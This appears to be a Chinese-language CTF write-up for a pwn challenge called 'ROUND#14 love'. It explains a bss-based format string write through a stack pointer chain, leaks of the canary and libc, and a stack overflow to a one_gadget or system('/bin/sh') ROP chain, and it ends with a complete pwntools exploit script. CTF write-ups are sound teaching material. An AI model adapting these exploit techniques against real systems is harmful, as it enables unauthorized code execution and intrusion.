ROUND#14 love

发布时间 2023-08-10 14:15:00作者: lmarch2

ROUND#14 love

0x01

程序开启NX和canary保护

image-20230810123951784

vuln函数中存在栈溢出

变量v4 = 555,v5 = 520

read函数读入0x40字节,在printf处有格式化字符串漏洞

需要注意buf为bss段变量,非栈格式化字符串漏洞不能直接修改栈上的值,需要通过二级指针,即栈链间接修改

思路:

  1. 利用格式化字符串漏洞任意写修改让v4=v5,进入vuln函数
  2. 利用格式化字符串泄露canary和__libc_start_main函数真实地址,计算出libc基址
  3. 构造pay覆盖返回地址为og或system rop链getshell

0x02

第一步

将v4写为520。如图在栈偏移为3的地方有一个栈链:0x7ffe9c35d798->0x7ffe9c35d788<-0x22b,可以用来修改0x22b为0x208

这里可构造pay为

pay = '%'+str(8)+'c'+'%9$hhn'

或者

pay = '%'+str(520)+'c'+'%9$hhn' (也可以直接n不用hhn)

image-20230810125122840

image-20230810124947461

第二步

泄露canary 和 __libc_start_main地址

这里需要先patchelf再调试确定偏移

这题不仅要patch掉libc和ld,还要再patchelf --replace-needed libpthread.so.0 ./libpthread-2.31.so ./binary

image-20230810135900218

确定canary的偏移为9+6 = 15;__libc_start_main+243便宜为11+6 = 17

pay += '-%15\(p-%17\)p-'

0x03

覆盖返回地址为one_gadget,或者调用system函数

image-20230810140417092

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process("./pwn")
#p = remote('node4.anna.nssctf.cn',28157)

sda = lambda delim,data :p.sendafter(delim,data)
sd = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))
ra = lambda :p.interactive()

def get_addr64() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_addr32() : return u32(p.recvuntil(b'\xf7')[-4:])


#gdb.attach(p)


elf = ELF('./pwn')
libc = ELF('./libc.so.6')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']



pay = '%'+str(520)+'c'+'%9$hhn'
pay += '-%15$p-%17$p-'

gdb.attach(p)
sla(b'Toka\n',pay)


ru('-')
#泄露cannary
canary = int(ru('-'),16)
#libc
libc_base = int(ru('-'),16)-243-libc.sym['__libc_start_main']

pop_rdi = 0x00000000004013f3 


#pay=b'A'*0x28+p64(canary)+b'A'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['vuln'])
#sla('level\n',pay)

#libcbase = get_addr64()-libc.sym['puts']
#lg('libcbase',libcbase)
lg('canary',canary)
lg('libc_base',libc_base)

system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()

lg('system',system_addr)
lg('binsh',bin_sh_addr)


ru('level\n')

ret =0x000000000040101a 

og = [0xe3afe,0xe3b01,0xe3b04]
pay = b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(og[1]+libc_base)
#pay = b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)

sl(pay)

ra()